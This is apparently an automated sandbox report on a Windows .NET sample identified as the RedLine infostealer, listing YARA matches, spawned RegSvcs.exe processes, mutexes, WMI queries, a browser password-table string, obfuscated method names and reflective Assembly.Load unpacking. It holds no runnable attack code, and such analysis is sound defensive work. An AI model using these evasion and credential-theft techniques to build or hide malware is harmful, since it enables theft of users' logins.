Source: yGu4YUwMl6.exe, 00000000.00000002.1771296362.0000000005040000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameCaptive.dll" vs yGu4YUwMl6.exe
Source: yGu4YUwMl6.exe	Binary or memory string: OriginalFilenameZPVX.exe> vs yGu4YUwMl6.exe

Source: yGu4YUwMl6.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.yGu4YUwMl6.exe.40f8350.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0.2.yGu4YUwMl6.exe.40f8350.0.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_redline_strings author = Sekoia.io, description = Finds Redline samples based on characteristic strings, creation_date = 2022-09-07, classification = TLP:CLEAR, version = 1.0, id = 0c9fcb0e-ce8f-44f4-90b2-abafcdd6c02e
Source: 0.2.yGu4YUwMl6.exe.40f8350.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 3.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 3.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_redline_strings author = Sekoia.io, description = Finds Redline samples based on characteristic strings, creation_date = 2022-09-07, classification = TLP:CLEAR, version = 1.0, id = 0c9fcb0e-ce8f-44f4-90b2-abafcdd6c02e
Source: 3.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.2.yGu4YUwMl6.exe.4110170.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0.2.yGu4YUwMl6.exe.4110170.3.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_redline_strings author = Sekoia.io, description = Finds Redline samples based on characteristic strings, creation_date = 2022-09-07, classification = TLP:CLEAR, version = 1.0, id = 0c9fcb0e-ce8f-44f4-90b2-abafcdd6c02e
Source: 0.2.yGu4YUwMl6.exe.4110170.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.2.yGu4YUwMl6.exe.4110170.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0.2.yGu4YUwMl6.exe.4110170.3.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_redline_strings author = Sekoia.io, description = Finds Redline samples based on characteristic strings, creation_date = 2022-09-07, classification = TLP:CLEAR, version = 1.0, id = 0c9fcb0e-ce8f-44f4-90b2-abafcdd6c02e
Source: 0.2.yGu4YUwMl6.exe.4110170.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.2.yGu4YUwMl6.exe.40f8350.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0.2.yGu4YUwMl6.exe.40f8350.0.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_redline_strings author = Sekoia.io, description = Finds Redline samples based on characteristic strings, creation_date = 2022-09-07, classification = TLP:CLEAR, version = 1.0, id = 0c9fcb0e-ce8f-44f4-90b2-abafcdd6c02e
Source: 0.2.yGu4YUwMl6.exe.40f8350.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000003.00000002.1867602795.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 00000000.00000002.1769436422.00000000040F8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Process Memory Space: yGu4YUwMl6.exe PID: 7276, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Process Memory Space: RegSvcs.exe PID: 7452, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23

Source: yGu4YUwMl6.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.yGu4YUwMl6.exe.7380000.6.raw.unpack, RrnBpqQBaojddDD8hq.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.yGu4YUwMl6.exe.7380000.6.raw.unpack, RrnBpqQBaojddDD8hq.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.yGu4YUwMl6.exe.7380000.6.raw.unpack, RrnBpqQBaojddDD8hq.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 0.2.yGu4YUwMl6.exe.7380000.6.raw.unpack, rKnfCKVTBvUrY1HLXt.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.yGu4YUwMl6.exe.7380000.6.raw.unpack, rKnfCKVTBvUrY1HLXt.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.yGu4YUwMl6.exe.405b0e8.1.raw.unpack, RrnBpqQBaojddDD8hq.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.yGu4YUwMl6.exe.405b0e8.1.raw.unpack, RrnBpqQBaojddDD8hq.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.yGu4YUwMl6.exe.405b0e8.1.raw.unpack, RrnBpqQBaojddDD8hq.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 0.2.yGu4YUwMl6.exe.405b0e8.1.raw.unpack, rKnfCKVTBvUrY1HLXt.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.yGu4YUwMl6.exe.405b0e8.1.raw.unpack, rKnfCKVTBvUrY1HLXt.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.yGu4YUwMl6.exe.3fff2c8.4.raw.unpack, rKnfCKVTBvUrY1HLXt.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.yGu4YUwMl6.exe.3fff2c8.4.raw.unpack, rKnfCKVTBvUrY1HLXt.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.yGu4YUwMl6.exe.3fff2c8.4.raw.unpack, RrnBpqQBaojddDD8hq.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.yGu4YUwMl6.exe.3fff2c8.4.raw.unpack, RrnBpqQBaojddDD8hq.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.yGu4YUwMl6.exe.3fff2c8.4.raw.unpack, RrnBpqQBaojddDD8hq.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@6/44@1/2

Source: C:\Users\user\Desktop\yGu4YUwMl6.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\yGu4YUwMl6.exe.log

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7464:120:WilError_03
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Mutant created: \Sessions\1\BaseNamedObjects\oFxCUwaqawcEspjS

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

File created: C:\Users\user\AppData\Local\Temp\tmp1596.tmp

Jump to behavior

Source: yGu4YUwMl6.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: yGu4YUwMl6.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'

Source: C:\Users\user\Desktop\yGu4YUwMl6.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: RegSvcs.exe, 00000003.00000002.1869525432.0000000002D09000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.1869525432.0000000002D6C000.00000004.00000800.00020000.00000000.sdmp, tmp4D49.tmp.3.dr, tmp4D37.tmp.3.dr, tmp4D36.tmp.3.dr, tmp4D15.tmp.3.dr, tmp4D26.tmp.3.dr, tmp4D48.tmp.3.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: yGu4YUwMl6.exe	Virustotal: Detection: 70%
Source: yGu4YUwMl6.exe	ReversingLabs: Detection: 71%

Source: unknown	Process created: C:\Users\user\Desktop\yGu4YUwMl6.exe "C:\Users\user\Desktop\yGu4YUwMl6.exe"
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior

Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Section loaded: iconcodecservice.dll	Jump to behavior

Source: C:\Users\user\Desktop\yGu4YUwMl6.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\yGu4YUwMl6.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: yGu4YUwMl6.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: yGu4YUwMl6.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: Mono.Cecil.Pdb source: yGu4YUwMl6.exe
Source:	Binary string: Microsoft.Build.Utilities.v4.0<>9__1_10<Weave>b__1_10columnHeader10<>9__1_0<Weave>b__1_0<>c__DisplayClass1_0<>9__2_0<.ctor>b__2_0<>9__3_0<WeaveDependencyObjectBaseClass>b__3_0<>9__14_0<GetStaticCtor>b__14_0<>c__DisplayClass4_0<>c__DisplayClass15_0<>c__DisplayClass5_0<>c__DisplayClass6_0<>9__7_0<IsAutoPropertySetter>b__7_0<>c__DisplayClass7_0<>c__DisplayClass18_0<>9__8_0<IsAutoPropertyGetter>b__8_0<GetStaticDependencyPropertyField>b__0<WeaveGetter>b__0<WeaveSetter>b__0<WeaveProperties>b__0<LoadWindows>b__0<WeaveDependencyProperty>b__0Ldarg_0get_<>h__TransparentIdentifier0<Weave>b__11columnHeader11<>9__1_1<Weave>b__1_1<>9__3_1<WeaveDependencyObjectBaseClass>b__3_1<cctor>5__1Ldarg_1IEnumerable`1Collection`1EqualityComparer`1IEnumerator`1List`1Form1WindowsFormsApplication1menuStrip1columnHeader1get_<>h__TransparentIdentifier1get_st1listView1<Weave>b__12columnHeader12Int32<>9__3_2<WeaveDependencyObjectBaseClass>b__3_2<propertyName>5__2<>9__2<Weave>b__2<>f__AnonymousType0`2<>f__AnonymousType1`2<>f__AnonymousType2`2Func`2IGrouping`2KeyValuePair`2Dictionary`2columnHeader2<>h__TransparentIdentifier2columnHeader13<>9__1_3<Weave>b__1_3<type>5__3<Weave>b__3Func`3columnHeader3columnHeader14<>9__1_4<Weave>b__1_4<declaringType>5__4<FindAttachedPropertyFields>d__4columnHeader4<>9__1_5<Weave>b__1_5<e>5__5columnHeader5<>9__1_6<Weave>b__1_6<isReadOnly>5__6columnHeader6<>9__1_7<Weave>b__1_7columnHeader7<Weave>b__8columnHeader8<>9<>9__1_9<Weave>b__1_9columnHeader9<Module>get_AGetWindowLongAget_BDWM_TNP_RECTSOURCEDWM_TNP_VISIBLEWS_VISIBLEGWL_STYLEPSIZESizeFget_GDWM_TNP_RECTDESTINATIONSystem.IOPAPLOPWS_BORDERget_RDWM_THUMBNAIL_PROPERTIESTget_grxVTARGETWINDOWZPVXDWM_TNP_SOURCECLIENTAREAONLYDWM_TNP_OPACITYaMono.Cecil.PdbmscorlibhThumbthumb<>cSystem.Collections.GenericMono.Collections.Genericget_IsStaticlpEnumFuncsrcget_Idget_CurrentManagedThreadId<>l__initialThreadIdProcessThreadLoadAddadd_SelectedIndexChangedcomboBox_SelectedIndexChangedset_FormattingEnabledSynchronized<<>h__TransparentIdentifier0>i__Field<<>h__TransparentIdentifier1>i__Field<method>i__Field<module>i__Field<type>i__Field<p>i__Field<TypePatternMatch>k__BackingField<AttributePatternMatch>k__BackingField<Definition>k__BackingField<HasChanges>k__BackingField<Files>k__BackingField<Assembly>k__BackingFieldAttachedPropertyFieldGetStaticDependencyPropertyFieldfieldLdsfldStsfldhWndget_OperandhwndAddGetterMethodAddSetterMethodImportObjectEqualsMethodget_GetMethodget_SetMethodImportMethodget_methodTracedefaultInstanceFieldReferenceMethodReferenceTypeReferenceMemberReferencePropertyReferencereferencercSourcesourceGetHashCodeget_OpCodeset_AutoScaleModenodeImageget_MessageLogMessagemessageAddRangeEndInvokeBeginInvokeImportPropertyChangedEventHandlerInvokeIEnumerableIDisposablefVisibleDWMHandleget_HandleoldHandleRuntimeTypeHandleGetTypeFromHandleget_MainWindowHandleSingleOpenFileWinFormsSampleget_MainWindowTitleget_Moduleget_MainModuleProcessModuleget_moduleget_Nameset_Nameget_FileNameget_MachineNameget_FullNamepropNa

Data Obfuscation

.NET source code contains potential unpacker

Source: yGu4YUwMl6.exe, DependencyPropertyWeaverTask.cs	.Net Code: Execute System.Reflection.Assembly.Load(byte[])
Source: 0.2.yGu4YUwMl6.exe.3fff2c8.4.raw.unpack, RrnBpqQBaojddDD8hq.cs	.Net Code: vtH6byFBVi System.Reflection.Assembly.Load(byte[])
Source: 0.2.yGu4YUwMl6.exe.405b0e8.1.raw.unpack, RrnBpqQBaojddDD8hq.cs	.Net Code: vtH6byFBVi System.Reflection.Assembly.Load(byte[])
Source: 0.2.yGu4YUwMl6.exe.7380000.6.raw.unpack, RrnBpqQBaojddDD8hq.cs	.Net Code: vtH6byFBVi System.Reflection.Assembly.Load(byte[])
Source: 0.2.yGu4YUwMl6.exe.5040000.5.raw.unpack, RK.cs	.Net Code: _206F_200B_206F_206E_200F_206F_200F_202A_200D_200F_200F_202B_206F_200B_200B_200C_200B_200B_200E_206C_200F_206E_200E_206A_200F_200B_206B_206F_200F_206E_200F_200F_206D_206C_202C_202D_206F_202D_200B_202C_202E System.Reflection.Assembly.Load(byte[])
Source: 0.2.yGu4YUwMl6.exe.36680a8.2.raw.unpack, RK.cs	.Net Code: _206F_200B_206F_206E_200F_206F_200F_202A_200D_200F_200F_202B_206F_200B_200B_200C_200B_200B_200E_206C_200F_206E_200E_206A_200F_200B_206B_206F_200F_206E_200F_200F_206D_206C_202C_202D_206F_202D_200B_202C_202E System.Reflection.Assembly.Load(byte[])

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_068D7236 push FFFFFF8Bh; retf	3_2_068D723D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_068D03A0 push es; ret	3_2_068D03B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_068D63DF push dword ptr [esp+ecx*2-75h]; ret	3_2_068D63E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_068D0E50 push es; ret	3_2_068D0E60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_068D1F59 push es; iretd	3_2_068D1F5C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_068D1A80 push es; ret	3_2_068D1A90

Source: yGu4YUwMl6.exe

Static PE information: section name: .text entropy: 7.6358286098036405

Source: 0.2.yGu4YUwMl6.exe.3fff2c8.4.raw.unpack, exfEXn22sjxHam9s7A.cs	High entropy of concatenated method names: 'AmbhccLT9O', 'rAQhJiuTnu', 'y82tkfeUTV', 'XpmtmeOilL', 'sQLtW19VYa', 'SLUtdkluiw', 'RaGtMYI6Rw', 'jqLtsc1dAO', 'YmXtP315EZ', 'j9ytrFwHgn'
Source: 0.2.yGu4YUwMl6.exe.3fff2c8.4.raw.unpack, gsTtZUuYXsk06JHgpV.cs	High entropy of concatenated method names: 'sCqw1nPv3U', 's9Fwn37vvA', 'DpcwwXMsv1', 'DtFw3S2rKo', 'T42wXq2M2j', 'lB5wqKJL1B', 'Dispose', 'GRvUAw0Isd', 'ddDUoEyAb7', 'BwyUtg9nLr'
Source: 0.2.yGu4YUwMl6.exe.3fff2c8.4.raw.unpack, vbriyrvjuYM53PuOmB.cs	High entropy of concatenated method names: 'EsWnSlCdFY', 'D3EnTiEiIh', 'jTIUpvTs2L', 'W5sUlhwink', 'fAknglPuV6', 'KZDnyPdpSx', 'W7bnCFmLPf', 'W0on0xdeVA', 'e6qnOd13ty', 'o34nKKPH9R'
Source: 0.2.yGu4YUwMl6.exe.3fff2c8.4.raw.unpack, bXWD75xKucvbCDj9Yx.cs	High entropy of concatenated method names: 'dSbwHPQNrA', 'nVSw5vTneq', 'TQJwkMvIl8', 'QnXwmLtym0', 'EqnwWD3fAM', 'oE6wdAIrxv', 'JwJwMSROgH', 'QkkwsQXv3d', 'MpCwPsQoJe', 'bDDwrl1aFL'
Source: 0.2.yGu4YUwMl6.exe.3fff2c8.4.raw.unpack, Ggx7j5DQnVguv1OX6e.cs	High entropy of concatenated method names: 'tZpnBmyWQT', 'TDynNTQl5Z', 'ToString', 'yH5nAvZ7bH', 'PrfnotbBdn', 'j3JntqeqrB', 'SdDnhgu9td', 'CitnGF4iPv', 'HbcnLnA6B2', 'g1NnQ69Z5d'
Source: 0.2.yGu4YUwMl6.exe.3fff2c8.4.raw.unpack, wVxd3qzqXRIYOjYwxg.cs	High entropy of concatenated method names: 'JhZi8wjkwV', 'iIfiV6OO1X', 'lMSiIxnThd', 'iH0iHBVFec', 'Jvki516rvB', 'a3WimAKZfx', 'gGviWqMQde', 'sciiqLJE5K', 'pZ2ijfgnR5', 'IxoiRBNyI3'
Source: 0.2.yGu4YUwMl6.exe.3fff2c8.4.raw.unpack, RrnBpqQBaojddDD8hq.cs	High entropy of concatenated method names: 'uGBEZ7s77q', 'rhTEAuVqC2', 'O00EoAQs3Q', 'eAFEt0v6K2', 'uVcEh9MCMp', 'k9hEGiK5P4', 'DSIEL7UrHH', 'qA4EQUuXZv', 'K80EFcA1wT', 'NjyEBc2GZw'
Source: 0.2.yGu4YUwMl6.exe.3fff2c8.4.raw.unpack, o6nw6vIHe4lbdCnCUW.cs	High entropy of concatenated method names: 'N3ktffPfet', 'yAHt8NM4cF', 'yl0tV8XbNu', 'CwKtIU3dVt', 'lSmt1aJMaL', 'tWYtarWkXE', 'GNwtnNxPZN', 'hp6tUZe3Oy', 'CYOtwoJNkD', 'P2wtiHi0sl'
Source: 0.2.yGu4YUwMl6.exe.3fff2c8.4.raw.unpack, fsr3C1KW3t0DeGClTh.cs	High entropy of concatenated method names: 'ToString', 'pZuag2Twna', 'W52a5PCOof', 'oHOakkCgZS', 'WG1amV07ZF', 'XlnaWF0x1F', 'iYradfdLyy', 'POnaM5GgNY', 'XYYas4OwS3', 'JpfaPvDc8t'
Source: 0.2.yGu4YUwMl6.exe.3fff2c8.4.raw.unpack, qLiIssPN1Nihn4bacr.cs	High entropy of concatenated method names: 'KB4LjoVKKU', 'dSqLRoXChQ', 'TOELbXaWEO', 'gdDLfbAbto', 'oiaLccCpdN', 'S1eL8JuboB', 'jOCLJVanrY', 'a3SLVCWJgQ', 'pjvLIuy8pX', 'IU8L2r3snw'
Source: 0.2.yGu4YUwMl6.exe.3fff2c8.4.raw.unpack, qZLV3elpfX4jgkaiXy5.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'C0MigXZSUB', 'B7YiyKoTbA', 'g7HiCIc7El', 'r99i0uOUY5', 'pY3iOpyrSP', 'cs7iKUShKv', 'u7CiDoGRbO'
Source: 0.2.yGu4YUwMl6.exe.3fff2c8.4.raw.unpack, c9W0LjtbC4fBta8E8u.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'Ubd9x35x9p', 'Lxr9T33nwA', 'YWP9z71pwo', 'VhWEplxTrn', 'imBElXMAOO', 'QjnE901EZh', 'PAuEER5omZ', 'FChFisZhW062oGhQ6vB'
